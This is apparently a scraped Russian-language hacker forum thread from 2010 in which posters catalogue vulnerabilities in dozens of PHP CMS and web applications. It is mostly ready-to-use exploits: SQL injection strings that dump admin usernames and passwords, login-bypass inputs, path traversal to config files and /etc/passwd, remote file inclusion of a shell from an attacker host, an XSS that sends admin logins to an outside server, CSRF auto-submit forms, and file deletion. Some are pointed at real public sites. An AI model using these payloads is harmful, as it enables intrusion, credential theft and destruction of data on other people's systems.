$style1 = mysql_query($query_style1, $brewing) or die(mysql_error());
$row_style1 = mysql_fetch_assoc($style1);
$totalRows_style1 = mysql_num_rows($style1);...need:
mg=off
Result:
<form action="http://localhost/brewblogger2.2.0/sections/entry.inc.php?action=hack" method="post">
<input type="text" name="style" value="' union select 1,user_name,password,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17 from users-- ">
<input type=submit value="ok">
</form>
ps
иследовал не полностю!
Strilo4ka
21.04.2010, 12:27
kure 0.6.2
Читалка
/config.php
...$config = "21232f297a57a5a743894a0e4a801fc3";.../index.php
.../***** VIEWPOST/VIEWDOC *****/
elseif(isset($_GET['post']) || isset($_GET['doc'])) { // if a post/doc has been requested
if(isset($_GET['post'])) {
$type = "post";
$filename = $_GET['post'];
} else {
$type = "doc";
$filename = $_GET['doc'];
}
plug($type, "top");
if(!file_exists($type . "s/" . $filename . ".txt")) {
print("The requested file <tt>" . $type . "s/" . $filename . ".txt</tt> does not exist.\n");
} else {
$file = $type . "s/" . $filename . ".txt";
$title = $file;
$title = str_replace($type . "s/", "", $title);
$title = str_replace(".txt", "", $title);
$uftitle = $title;
$title = str_replace("_", " ", $title);
$content = str_replace("\n", "<br>\n", file_get_contents($file));
print("<table align=\"center\" width=\"90%\"><tr>\n");
print("<td width=\"100%\">\n");
print("<a class=\"blog_title\" href=\"?" . $type . "=" . $uftitle . "\" name=\"" . $title . "\">" . $title . "</a>\n");
plug($type, "title_after");
print("<br>\n");
if(($type == "doc" && $config['docdates'] == true) || $type == "post") {
print("<span class=\"blog_date\">" . date("F jS, Y", filemtime($file)) . "</span>\n");
plug($type, "date_after");
print("<br>\n");
}
print("</td></tr>\n");
print("<tr><td width=\"100%\"><br>\n");
print("<span class=\"blog_content\">\n" . $content . "\n</span>");
plug($type, "body_after");
print("<br><br>\n");
print("</td></tr>\n");
print("</table>\n");
}
}...Result:
http://localhost/kure-0.6.2/index.php?post=../config.php%00
админко - admin/
пасивная XSS
/index.php
...plug($type, "top");
if(!file_exists($type . "s/" . $filename . ".txt")) {
print("The requested file <tt>" . $type . "s/" . $filename . ".txt</tt> does not exist.\n");...Result:
http://localhost/kure-0.6.2/index.php?post=%3Cscript%3Ealert%28123%29%3C/script%3E
Дорк: powered by kure
Music Box v 3.3 :D
SQL:
/news.php?action=edit&newsid=-1+union+select+1,2,3,4,5+--+
/album.php?eid=-1+union+select+1,2,3,4,5,6,7,8,9,10+--+
/blog-detail.php?id=-1+union+select+1,2,3,4,5+--+
/genre_albums.php?id=-1+or(1,1)=(select+count(0),concat((select+database ()+from+information_schema.tables+limit+0,1),floor (rand(0)*2))from(information_schema.tables)group+b y+2)--+
/news-detail.php?id=-1+union+select+1,2,3,4,5+--+
/songs.php?eid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19+--+
Need mq off:
/images.php?type=album&aid=-1'+union+select+version()+--+
(<img src=5.0.45-community-nt>)
Пассивная XSS:
/download_songs.php?song=-1%22%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E // Хотя это скуля, ну крутить я нехочу)
/mygpic.php?picname=%3C/title%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E
/news-detail.php?id=%22%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E
Need Register_globals:
/directlinking.php?count=1&filename=%22%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E
Скачиваем любой файл:
/forcedownload.php?file=sources/configure.php -- Качаем
/forcedownload.php?file=sources/configure.php%00 -- Смотрим в браузере
/streamm3u.php?file=sources/configure.php -- Скачается в формате m3u ;)
Раскрытие:
/opendir.php
"Мы разработчики MusicBox, и мы дураки, взяли блин не поставили проверку на авторизацию, или мы не дураки и оставили эти баги для траффа для хекеров, кароче какую песню хотите такую и редактируйте!"
/songs.php?eid=1
Льём шелл:
/up.php -- помоему баян, видел где-то :) По дефолту в /audio/ -- На офф сайте стадо баранов уже видать в теме что залиться через этот файл можно, так что делетнут он там :)
// Вы чо гоните, это лишь одна часть файлов, я блин обосрался когда по другим файлам ходил.
Strilo4ka
21.04.2010, 15:47
Bling Web Log
SQL ing
target: index.php
index.php...if (!$staffid)
{
echo "<font size=2>Signup for an account <a href=\"signup.php\">here</a><br> if you dont already have one.\n";
echo "<br><p>\n";
echo "<form name=elform action=login.php method=post>\n";
echo "<table cellpadding=0 cellspacing=0>\n";
echo "<tr>\n";
echo "<td class=body>Username: </td>\n";
echo "<td><input type=text name=handle size=15></td>\n";
echo "</tr>\n";
echo "<tr>\n";
echo "<td class=body>Password: </td>\n";
echo "<td><input type=password name=password size=15></td>\n";
echo "</tr>\n";
echo "</table>\n";
echo "<br>\n";
echo "<center><input type=submit value=Login></center>\n";
echo "</form>\n";
}...Обработчик формы: login.php...include("./includes/inc.php");
$handle=cleanup($handle);
$password=md5($password);
$staffinfo=getrow("select id, handle, level
from staff where handle='$handle' and status=7 and password='$password'");
$staffid=$staffinfo['id'];
if(!$staffid)
{
header ("location:index.php?error=baddlogin");
exit();
}
$staffname=$staffinfo['handle'];
$stafflevel=$staffinfo['level'];...
includes/inc.php
include("./includes/bling_config.php");
include("./includes/functions.php");
include/blind_config.phpfunction getrows($query)
{
$query=stripSlashes($query);
if (!$result=mysql_query($query))
die(deadjim(mysql_errno(), mysql_error(), $query));
else
{
$row_array[0][0]=$rows=mysql_num_rows($result);
$row_array[0][1]=$fields=mysql_num_fields($result);
for ($i=1; $i<=$rows; $i++)
{
$row_array[$i]=mysql_fetch_array($result);
}
mysql_free_result($result);
}
return $row_array;
}......function cleanup($copy)
{
$copy=trim($copy);
//$copy=htmlspecialchars($copy, ENT_QUOTES);
//$copy=eregi_replace ("%", "%", $copy);
//$copy=eregi_replace ("<", "<", $copy);
//$copy=eregi_replace ("&", "&", $copy);
//$copy=eregi_replace("<b", "<b", $copy);
//$copy=eregi_replace("</b", "</b", $copy);
//$copy=eregi_replace("<i", "<i", $copy);
//$copy=eregi_replace("</i", "</i", $copy);
//$copy=eregi_replace("<u", "<u", $copy);
//$copy=eregi_replace("</u", "</u", $copy);
//$copy=eregi_replace("<a", "<a", $copy);
//$copy=eregi_replace("</a", "</a", $copy);
//$copy=eregi_replace("<img","<img", $copy);
$copy=nl2br($copy);
$copy=StripSlashes($copy);
return($copy);
}...Result:
в поле с логином admin' or 1=1/*
пасс любой
ps
Скрипт древний, потому работает тока с rg=on
В гугле вроде ниче небыло по уязвимостям!
HAXTA4OK
21.04.2010, 22:11
PokerMax Poker
не понял я что за покер там, искал себе сорцы поиграть :D
SQL
Условия: MQ = off
файл : pokerleague_.php (везде может отличаться название)
$plrows = $sql->execute ( "SELECT * FROM ".$player_table." WHERE playerid='" . $cgi->getValue ( "pid" ) . "'",
sploit : http://localhost/pokerleague/pokerleague_.php?op=showplayer&pid=-Salcifuful%27+/*!UNION*/+SELECT+1,2,concat_Ws%280x3a,username,password%29, 4,5,6,7,8,9,10+from+pokermax_admin%23
Админко хек
Условия: MQ = off
Файл : index.php (он же логиниться)
if (isset($_POST["op"]) && ($_POST["op"]=="adminlogin"))
{
mysql_connect($server, $DBusername, $DBpassword) or die ("$DatabaseError");
mysql_select_db($database);
$query = "SELECT * FROM $admin_table WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'";
splot:
ну собственно идем в админку и
login: ' or 1=1%23
pass: anoxyi4to xoTb 3DECb 6bl/\ Bac9|
Удалим что нить?
в админке файл : backup.php (Делает бэкупс)
unlink($backup_dir."/" . getParam("delzip",""));
$backup_dir - по умолчанию вроде backup
такссс....ни че не фильтруется и т.д. ->
делаем
Sploit :
http://localhost/pokerleague/pokeradmin/backup.php?delzip=../../includes/config.php
(кол-во ../ может отличаться от здесьнаписаного)
по замысловатому замыслу он удалится
ЗЫ там еще скули в админке, думаю они не так важны уже
ЗЫЫ иногда прокатывает в админку зайти с
login:admin
pass:admin
Strilo4ka
22.04.2010, 00:57
CuteMarks 1.0.2
Blind SQL inj
(если условие верно, то редирект!)
link_href.php
include "./include/config.inc";
include "./include/cm_functions.inc";
#Get the superglobal variable(s) before using them:
$lnk_id = $_GET['lnk_id'];
# Make database connection and construct admin main screen
mysql_pconnect("$db_address:$db_port", $db_user, $db_password) or db_error;
mysql_select_db($db_name) or db_error;
# An empty database produces a special message
$sql = "SELECT lnk_url, lnk_hits FROM cm_links WHERE lnk_id=$lnk_id";
$return = mysql_query($sql) or db_error;
$row = mysql_fetch_array($return) or db_error;
$url = $row[0];
$hits = $row[1] + 1;
$sql = "UPDATE cm_links SET lnk_hits = $hits WHERE lnk_id=$lnk_id";
mysql_query($sql) or db_error;
header("Location: $url");include/cm_functions.phpfunction db_error($exit_flag) {
echo "A database error occured, please try again<br>";
$exit_flag AND exit;Result:
http://localhost/cutemarks_1-0-2/link_href.php?lnk_id=[sql]
http://localhost/cutemarks_1-0-2/link_href.php?lnk_id=1+and+4=substring%28version%2 8%29,1,1%29--+
SQL inj
include "./include/config.inc";
include "./include/template.inc";
$lnk_id = $_GET['lnk_id'];
# Load the template, retreive information from the database and fill
# in the template
mysql_pconnect("$db_address:$db_port", $db_user, $db_password) or db_error;
mysql_select_db($db_name) or db_error;
$sql = "SELECT lnk_parent_id, lnk_name FROM cm_links WHERE lnk_id = $lnk_id";
$result = mysql_query($sql) or db_error;
$row = mysql_fetch_array($result) or db_error;
$tpl = new Template("./$tpl_path", "remove");
$tpl->set_file("admin_move_lnk", "admin_move_lnk.tpl");
$tpl->set_block("admin_move_lnk", "cat_list", "foo");
$tpl->set_var(array ("CSS_FILE" => $css_file,
"lnk_name" => htmlentities($row[1]),
"node_exp" => $node_exp,
"lnk_id" => $lnk_id ));
$pID = $row[0];
# Create a pulldown form element with all available categories
$sql = "SELECT cat_id, cat_name FROM cm_categories ORDER BY cat_name";
$result = mysql_query($sql) or db_error;
while ($row = mysql_fetch_array($result)) {
$tpl->set_var(array("cat_id" => $row[0],
"cat_label" => $row[1]));
if ($row[0] == $pID) {
$tpl->set_var("cat_selected", "selected");
} else {
$tpl->set_var("cat_selected", "");
}
$tpl->parse("foo", "cat_list", TRUE);
}
$tpl->pparse("out", "admin_move_lnk");
Result:
http://localhost/cutemarks_1-0-2/admin_move_lnk.php?lnk_id=[sql]
http://localhost/cutemarks_1-0-2/admin_move_lnk.php?lnk_id=-1+union+select+1,version%28%29You want to move the link "5.1.40-community" to a new category. Please choose one of the available categories from the list and submit the change.SQL inj
admin_rename_cat.php
include "./include/config.inc";
include "./include/template.inc";
$cat_id = $_GET['cat_id'];
$node_exp = $_GET['node_exp'];
# Load the template, retreive information from the database and fill
# in the template
mysql_pconnect("$db_address:$db_port", $db_user, $db_password) or db_error;
mysql_select_db($db_name) or db_error;
$sql = "SELECT cat_name FROM cm_categories WHERE cat_id = $cat_id";
$result = mysql_query($sql) or db_error;
$row = mysql_fetch_array($result) or db_error;
$tpl = new Template("./$tpl_path", "remove");
$tpl->set_file("admin_rename_cat", "admin_rename_cat.tpl");
$tpl->set_var(array ("CSS_FILE" => $css_file,
"cat_name" => htmlentities($row[0]),
"node_exp" => $node_exp,
"cat_id" => $cat_id ));
$tpl->pparse("out", "admin_rename_cat");Result:
http://localhost/cutemarks_1-0-2/admin_rename_cat.php?cat_id=[sql]
http://localhost/cutemarks_1-0-2/admin_rename_cat.php?cat_id=-1+union+select+version%28%29--+
Дырявый как # дальше не хочеться смотреть!
OsDate CMS
Сайт: http://www.tufat.com/
Версия: 2.54, последняя на данный момент.
Информация о таблицах:
../dbtest.php
Таким образом можно узнать префикс.
PHP-Info:
../admin/phpinfo.php
(права не нужны)
Раскрытия путей:
есть папка с именем forum, в ней лежат api для взаимодействия с установленными форумами, если же форумов нет, то выдаёт самые разнообразные ошибки(инклюд несуществующих файлов, ввызовы несуществующих функций) с раскрытием путей.
Список файлов:
../forum/smf_1-1_api.php
../forum/adminLogin.php
../forum/forum_db.php
../forum/myBB14_forum.php
../forum/myBB_forum.php
../forum/Phorum_forum.php
../forum/phpBB3_forum.php
../forum/phpBB_forum.php
../forum/smf11_forum.php
../forum/vBulletin_forum.php
../forum/userLogin.php
Также другие файлы:
../news.php?config[no_news]=asdf
../test.php
../chat/inc/cmses/osdateCMS_v25.php
XSS(пассивная):
../afflogin.php?errormsg=<sCript>alert(111);</sCript>
Отсутствует фильтрация.
RFI(register globals = On):
../forum/adminLogin.php?config[forum_installed]=http://site/index.php%00
../forum/userLogin.php?config[forum_installed]=../../../../../../../../../etc/passwd%00
Code:
if ( $config['forum_installed'] == '' || $config['forum_installed'] == 'None' ) {
include_once('None_forum.php');
} else {
include_once($config['forum_installed'] . '_forum.php');
}
Ранее уже выкладывалась.
Версия: 1.2.4 Final
RFI(register globals = on и, как я понял, сервер на винде, тк в Юникс системах регистр имеет значение):
/manager/tools/link/dbinstall.PhP?_PX_config[manager_path]=path%00
Уязвимый код:
if (basename($_SERVER['SCRIPT_NAME']) == 'dbinstall.php') exit;
include $_PX_config[manager_path] . "/path/lib/";
Саму идею обойти защиту путём изменения регистра предложили в этом посту: https://forum.antichat.ru/showpost.php?p=1704870&postcount=234 , однако порой этот файл редактируют, а ведь точно такая же уязвимость есть и в файле, указанном выше.
Раскрытия путей:
В папке ../manager/tools/* в каждой папке выдает ошибку, связанную с тем, что они используют функции, определённый в файлах, которые их подключают.
../manager/help.php?c[]=article&mode=
../manager/users.php?user_id[]=1
../manager/comments.php?op=all'
XSS(passive):
../manager/tools/visualedit/index.php?msg="><sCript>alert(111);</sCript>
SQL-иньекция(админка):
../manager/tools.php?p=link&id=-4+union+select+1,2,3,4,5,6,7&page=edit_link
Также можно узнать версию движка, обратившись к файлу, указанному ниже:
../manager/VERSION
.:[melkiy]:.
27.04.2010, 23:07
product:cms id 1.1.1
site:www.cmsid.co.cc
1)SQL-injection
file:application/views/views.php
$id=$_GET['id'];
$hasil = mysql_query("select * from id_views where id=$id");
result:
/index.php?application=views&id=-9+union+select+1,2,concat_ws(0x3a,name,password),4 ,5,6+from+id_users+--+
2)SQL-injection
file: application/moduls/news/news.php
case 'views':
$id=$_GET['id'];
$hasil = mysql_query("select * from id_news where id=$id");
result:
index.php?application=moduls&type=news&action=views&id=-14+union+select+1,2,concat_ws(0x3a,name,password), 4,5,6,7,8,9,10,11,12,13+from+id_users+--+
3)LFI(требования: mq=off)
file: index.php
бесит отсутствие отступов ><
switch($_GET['application']) {
....
case 'moduls':
if (file_exists(dir_modul.$_GET['type'].'/'.$_GET['type'].'.php'))
{
require_once(dir_modul.$_GET['type'].'/'.$_GET['type'].'.php');
}else {
header("location:index.php");
exit;
}
break;
result:
/index.php?application=moduls&type=../../[local_file]%00
Suppy 0.5.4
Suppy is a small supportsystem based on PHP and MySQL. Beta !
Homepage: http://sourceforge.net/projects/suppy/
Пассивная XSS:
/login.php?error=%3Cscript%3Ealert();%3C/script%3E
Auth ByPass
/login.php
В Anmeldename:
1' or 1=1 /*
Passwort:
12345
Exploit:
<form method="post" action="http://site.com/login.php">
<input name="name" type="text" value="1' or 1=1 -- " />
<input name="pw" type="password" value="Ulalala"/>
<input name="login" type="submit" value="Login" />
SQL Inj:
/bb/getfile.php?id=-1+union+select+1,2,3,4,5,6,7,8+--+
Code:
if(isset($_GET['id']) && isset($_SESSION['ID_user']))
{
include_once('utils/dbcon.php');
$con = new DBcon();
$con->AddSQL("SELECT * FROM file ");
$con->AddSQL("WHERE ID_file=".$_GET['id']);
Concrete CMS
-Пассивная XSS
http://www.concrete5.org/search/-/search/?query=%3E%22%3Cscript%3Ealert%28%27xss%27%29%3C%2 Fscript%3E&submit=Go+%BB
******************
оффсайт:
http://www.concrete5.org/
скачать:
http://www.concrete5.org/download_file/-/view/12742/
Tribiq CMS 5.2.2b
Пассивная XSS:
/admin/adminlogin.php?desturl=%22%3E%3Cscript%3Ealert();% 3C/script%3E
Мутим чётко и дезрко (c):
Need: mg=off, хотя х.з., js такая весчь что можно и без кавычек обойтись.
/admin/adminlogin.php?desturl=%22%3E%3CSCRIPT%3Edocument. forms[0].action='http://xenk/index.php';%3C/script%3E
До изменения:
<form action="adminlogin.php" method="POST" name="f">
После изменения:
<form action="http://xenk/index.php" method="POST" name="f">
Админ вводит пасс/логин, и данные идут не в adminlogin.php, а в http://xenk/index.php.
v.1.0 RyShell CMS
SQL Injection
пример сайта с этой кмс
http://www.papiorec.org/index.php?url=-8+union+select+unhex%28hex%28version%28%29%29%29--
на офф сайте тоже имеется SQL Injection:
http://www.ryshell.com/index2.php?url=-25+UNiON+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,unhex%28hex%28version%28%29%29%29,18,19,20,21--
хотя в админку можно попасть минуя авторизацию:)
http://www.ryshell.com/admin/admin.php
shell_c0de
29.04.2010, 18:39
ecoCMS
Site: www.ecocms.com
Vulnerability: Authorization bypass
Severity: High
Needs: register_globals=On
Exploit: /admin.php?_SESSION[user_in]=1
Reason: В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль:
<?php
/*
ecoCMS - Quick & easy to use Content Management System (CMS)
(c)2009 by ecoCMS.com - visit for PRO version.
*/
include('config.php');
if($_GET['panel']=='logout')session_destroy();
if($_POST['user'] && $_POST['pass']){
// user is trying to login here.
// verify his user/pass.
if($_POST['user']==constant('accessUser') && $_POST['pass']==constant('accessPass'))
$_SESSION['user_in']=1;
else
$Message = 'Username or password incorrect!';
}
if(!$_SESSION['user_in'])$HideContents=1;
else unset($HideContents);
?>
В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль. Следовательно. мы можем не передавая post-данные с логином и паролем, установить значение переменной сессии при register_globals=On.
ISPmanager 4.3 Professional
Пассивная XSS:
/ispmgr?func=%3C/script%3E%22%3E%3Cscript%3Ealert();%3C/script%3E
shell_c0de
06.05.2010, 16:48
Campsite (3.3.5)
Site: campsite.campware.org
Vulnerability: Remote File Inclusion || Local File Inclusion
Severity: High
Needs: register_globals=On
Exploit: /tests/test_autopublish.php?GLOBALS[g_campsiteDir]=RFI ; /classes/ObjectType.php?GLOBALS[g_campsiteDir]=RFI
Reason: В tests/test_autopublish.php, /classes/ObjectType.php и в других скриптах часто используемая глобальная переменная g_campsiteDir не определена. Она определена лишь в скрипте set_path.php, который в самом вышеуказанном скрипте не подключается.
Участок кода в tests/test_autopublish.php:
<?php
require_once($GLOBALS['g_campsiteDir']."/classes/Article.php");
require_once($GLOBALS['g_campsiteDir']."/classes/ArticlePublish.php");
require_once($GLOBALS['g_campsiteDir']."/classes/Issue.php");
require_once($GLOBALS['g_campsiteDir']."/classes/IssuePublish.php");
...
Участок кода в /classes/ObjectType.php:
<?php
/**
* @package Campsite
*/
/**
* Includes
*/
require_once($GLOBALS['g_campsiteDir'].'/classes/DatabaseObject.php');
require_once($GLOBALS['g_campsiteDir'].'/classes/Translation.php');
Следовательно. мы можем установить значение глобальной переменной и заинклудить произвольный файл при register_globals=On.
При allow_url_include=On/Off имеем RFI/LFI соответственно. Для проведения LFI скорее всего понадобится ещё и magic_quotes_gpc=On для того, чтобы обрезать лишнее нулл-байтом.
При register_globals=Off имеем лишь раскрытие путей.
shell_c0de
06.05.2010, 16:53
//Вдогонку к #391 (https://forum.antichat.ru/showpost.php?p=2111946&postcount=391)
ecoCMS
Site: www.ecocms.com
Vulnerability: XSS
Severity: Low
Needs: -
Exploit: /admin.php?p=%3Cscript%3Ealert()%3C/script%3E
Reason: get-параметр p в admin.php недостаточно фильтруется. Код приводить смысла не вижу)
shell_c0de
06.05.2010, 18:49
DynPage
Site: www.dynpage.net
Vulnerability: Arbitrary files content disclosing
Severity: High
Needs: -
Exploit: /content/dynpage_load.php?file=/etc/passwd
Reason: Файл /content/dynpage_load.php не защищён от прямого просмотра. То есть в других местах, где собственно идёт вывод контента с помощью этого скрипта есть какая-то фильтрация, а здесь без никаких ограничений имеем читалку.
Уязвимый код /content/dynpage_load.php:
...
$filename = $_GET["file"];
if (!is_dir ($filename) && file_exists ($filename)) {
$bytes = filesize ($filename);
$fh = fopen($filename, 'r');
print (fread ($fh, $bytes));
fclose ($fh);
}
else
print ("DynPage file not found: ".htmlspecialchars ($filename)."");
?>
Example: на официальном сайте: http://www.dynpage.net/dynpage/content/dynpage_load.php?file=/etc/passwd
winlogon.exe
07.05.2010, 11:16
Rezervi 3.0.2
Произвольный PHP сценарий
/include/mail.inc.php?root=[file]
download: http://www.rezervi.com/downloads/rezervi3_0_2.zip
Social Engine v 3.18
Активная XSS:
/profile.php?user=victim
Переходим на вкладку Comments.
<a href='jav ascript:alert();'>xek</a>
/profile.php?user=victim
Переходим на вкладку Comments.
<IMG src="jav ascript:alert()"></img>
Активная XSS:
/user_editprofile_style.php
body{
background-image: url('javascript:alert()');
}
CSRF:
<div style='display:none'>
<form action='http://localhost/se/admin/admin_viewusers_edit.php' method='post' name='xeker'>
<input type='text' class='text' name='user_email' value='milo@mail.com' size='30' maxlength='70'>
<input type='text' class='text' name='user_username' value='Ctacok' size='30' maxlength='50'>
<input type='password' class='text' name='user_password' value='' size='30' maxlength='50'>
<select class='text' name='user_enabled'><option value='0'>Disabled</option>
<select class='text' name='user_level_id'><option value='1' SELECTED>Default Level</option>
<select class='text' name='user_profilecat_id'><option value='1' SELECTED>Standard Users</option>
<input type='text' class='text' name='user_invitesleft' value='5' maxlength='3' size='2'>
<input type='submit' class='button' value='Save Changes'>
<input type='hidden' name='task' value='edituser'>
<input type='hidden' name='user_id' value='1'>
<input type='hidden' name='s' value='id'>
<input type='hidden' name='p' value='1'>
<input type='hidden' name='f_user' value=''>
<input type='hidden' name='f_email' value=''><input type='hidden' name='f_level' value=''>
<input type='hidden' name='f_subnet' value=''>
<input type='hidden' name='f_enabled' value=''>
</form>
</div>
<script language="JavaScript" type="text/javascript">
document.xeker.submit();
</script>
shell_c0de
12.05.2010, 22:03
PhpMySport
Site: phpmysport.sourceforge.net
Vulnerability: Local Files Include
Severity: High
Needs: magic_quotes=Off (or null-byte alternative)
Exploit: /index.php?lg=/../../../../../../../../../etc/passwd%00
Reason: В index.php есть строчки:
...
/************************/
/* LANGUAGE MANAGEMENT */
/************************/
if(!@include_once(create_path("include/lg_general_".LANG.".php")))
{
echo "ERREUR : Language not supported/Langue non supportИe";
exit();
}
...
Константа LANG определяется в config.php и изначально берётся из get-параметра lg. Таким образом, мы можем написать слеш /, тем самым закрыв директорию, затем подняться вверх, расширение отрезать нулл-байтом.
Если не удаётся заинклудить, вылезает ошибка "ERREUR : Language not supported/Langue non supportИe". Вывод php-ошибок отключён.
Example: На официальном сайте http://phpmysport.sourceforge.net/demo/index.php?lg=/../../../../../../../../../etc/passwd%00&skin=defaut
Strawberry 1.1.1 (Он же когда-то CuteNews)
Пассивная XSS:
/example/index.php?do=abcd{abcd}body{background-image:%20url(javascript:alert());}
Arctic Fox CMS v0.9.4
SQL Inj
/index.php?page=abcd%22+union+select+1,2+--+
Pashkela
26.05.2010, 19:14
WebAsyst
Dork: - inurl:index.php?ukey=news&blog_id=
Exploit: - http://site.com/index.php?ukey=news&blog_id=(select+1+from+(select+count(0),concat((se lect+version()),floor(rand(0)*2))+from+SC_news_tab le+group+by+2+limit+1)a)--+
4.1<=MySql=>5
Программа: razorCMS 1.x
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в параметре "content" сценарием admin/index.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Эксплоит:
<form action="http://example.com/admin/?action=edit&slab=home" method="post" name="main" >
<input type="hidden" name="title" value="Home" />
<input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' />
<input type="hidden" name="ptitle" value="" />
<input type="hidden" name="theme" value="theme-default" />
<input type="hidden" name="check_sidebar" value="sidebar" />
<input type="hidden" name="save" value="Save Content" />
</form>
<script>
document.main.submit();
</script>
Globber 1.4
Site: https://launchpad.net/globber
PHP Code Execution
Vuln file: /include/admin/edit.inc.phpif(!$_EXEC){ die; }
if($_POST){
foreach($_POST as $key => $val){
$f .= '['.$key.']'.stripslashes($val).'[/'.$key.']'."\n";
}
if($_GET['c']==''){
$_GET['c'] = 'misc';
}
if(!is_dir('blog/'.$_GET['c'])){
mkdir('blog/'.$_GET['c']);
}
file_put_contents('blog/'.$_GET['c'].'/'.$_GET['a'], $f);
/*...*/Need: register_globals = On
Exploit:
POST http://[host]/[path]/include/admin/edit.inc.php?c=../../admin&a=rebuild.inc.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
_EXEC=<?php phpinfo();?>В результате файл rebuild.inc.php перезапишется, и будет иметь содержимое:<?php phpinfo();?>По адресу http://[host]/[path]/include/admin/rebuild.inc.php, любуемся phpinfo
LiveStreet 2
XSS активная:
в поле, для комментария, к просьбе добавить в друзья, вставляем:
"><script>alert();</script>.
При просмотре сообщения пользователем, код выполнится.
====================================
XSS активная:
добавляем новую запись, и в поле для меток, вставляем:
"><script>alert();</script>.
Когда другой пользователь, будет выбирать метки для своего сообщения, код выполнится
NibbleBlog 2.0
Site: http://www.nibbleblog.com
Remote File Inclusion
Vuln file: /admin/includes/index_login.php if($var_url['exe']=='login')
{
$var_form['login_user'] = (string) $_POST['form_field_user'];
$var_form['login_password'] = (string) $_POST['form_field_password'];
if( !empty($var_form['login_user']) && !empty($var_form['login_password']) )
{
include($_PATH['shadow.php']);
/*...*/Подобная уязвимость в /admin/includes/profile.php
Need: register_globals = On
Exploit:POST http://[host]/[path]/admin/includes/index_login.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
var_url[exe]=login&form_field_user=1&form_field_password=1&_PATH[shadow.php]=http://[evil_host]/shell.wtf
E2 SELECTA
Site: http://blogengine.ru/
Local File Include(0-day :) ):
./spesta/counter.php
Уязвимый код:
...
if (!isset ($s_addurl))
{
$z=dirname(__FILE__);
$z2=$_SERVER['DOCUMENT_ROOT'].dirname ($_SERVER['PHP_SELF']);
$s_addurl=substr ($z, strpos ($z, $z2)+strlen($z2));
if ($s_addurl!="") $s_addurl.="/";
}
else $s_addurl=str_replace (":","", $s_addurl);
include ($s_addurl."func.php");
...
Exploit:
Как видно из нашей переменной вырезается двоеточие, поэтому теоретически имеем только локальный инклуд, однако нам на руку то, что движок ведёт своеобразный журнал по адресу ./spesta/data/, в частности в файл requests.php записывается запрошенный URL, и ничто не мешает указать в нём например <?php phpinfo();?>, поэтому сначала обращаемся к какой-нибудь страницe добавив к URL-адресу наш php-код, а затем инклудим вот так:
./spesta/counter.php?s_addurl=data/request.txt%00
Также можно внести код в agents.txt(логируются юзерагенты).
Примечание:
для этой уязвимости не играет роли значение register_globals, так как в .htacess эта настройка взводится, однако на всякий случай я решил уведомить об этом.
Содержимое .htacess:
RewriteEngine Off
DirectoryIndex index.php
Options -Indexes -MultiViews
ErrorDocument 403 /stat/deny.php
<IfModule mod_php4.c>
php_flag display_errors off
php_flag register_globals on
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
php_flag magic_quotes_sybase off
php_flag zlib.output_compression on
php_value output_buffering 0
php_value session.use_trans_sid 0
</IfModule>
<IfModule mod_php5.c>
php_flag display_errors off
php_flag register_globals on
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
php_flag magic_quotes_sybase off
php_flag zlib.output_compression on
php_value output_buffering 0
php_value session.use_trans_sid 0
</IfModule>
KaRoman CMS
http://sourceforge.net/projects/karoman/
SQL-инъекция(mq == off):
./view_article.php?id=0'+union+select+1,concat(user, 0x3a,pass),3,4,5,6,7,8+FROM+userlist--+
...
if (isset($_GET['id'])) {$id = $_GET['id'];}
$result = mysql_query("SELECT * FROM articles WHERE id='$id'",$db); // Выбираем нужные таблицы
...
SQL-иньекция(права администратора):
./admin/settings.php?id=100500+union+select+1,2,3,4,5,6
...
if (isset($_GET['id'])) {$id = $_GET['id'];}
$result = mysql_query("SELECT title,id FROM settings");
...
SQL-иньекция(права администратора):
./admin/edit_art.php?id=100500+union+select+1,2,3,4,5,6,7, 8
...
if (isset($_GET['id'])) {$id = $_GET['id'];}
$result = mysql_query("SELECT * FROM articles WHERE id=$id");
...
Ov3rLo1d[-]Invisible
http://wowjp.net/forum/61-15808-1
/admin/index.php
...
if (!isset($HTTP_POST_VARS["submitloginform"]) && (($HTTP_COOKIE_VARS['userlogged'] == "yes") || ($_SESSION['sessionlogin'] == "yes"))) {
/* Sets $PHPSESSID to the PHPSESSID in the cookie */
$PHPSESSID = $HTTP_COOKIE_VARS['userid'];
/* Set $mode to the thingy on the url */
$mode = $HTTP_GET_VARS['mode'];
/* Removes the cookie before anything is displayed */
if ($mode == "logout") {
session_destroy();
setcookie("userlogged", "", time()-600);
setcookie("userid", "", time()-600);
}
...
Добавляем себе в куки userlogged = yes
http://shadow-server.ru/admin/
.:[melkiy]:.
16.06.2010, 23:31
Puzzle Apps CMS 3.2
site:www.puzzleapps.org
File Disclosure
file: filepresenter.loader.php
if ($_GET["getfile"]) {
$filename = $_GET["filename"];
if (! $filename)
$filename = "file";
header('Content-Disposition: attachment; filename="' . $filename . '"');
header("Content-type: application/octetstream");
header("Pragma: no-cache");
header("Expires: 0");
readfile($FILEROOT . $_GET["getfile"], "r+");
die();
}
result:
filepresenter.loader.php?getfile=../../[local_file]&filename=wtf.txt
.:[melkiy]:.
17.06.2010, 17:39
KAN CMS 1.0 beta
site: www.kancms.org
SQL-Injection
need: mq=off
file: pages/sections.php
include('site_selector.php');
// next we'll include the section manager component to enable the template
// easily pick information from database
include('sections_manager.php');
// next we need to load the specific theme / template index file
// the $themeFolder variable is created in the site selector
include( $themeFolder . 'pages/sections.php');
/************************************************** *************************/
//file: pages/site_selector.php
if( !isset($_GET['siteid']) ) {
//header("Location: ../pages/");
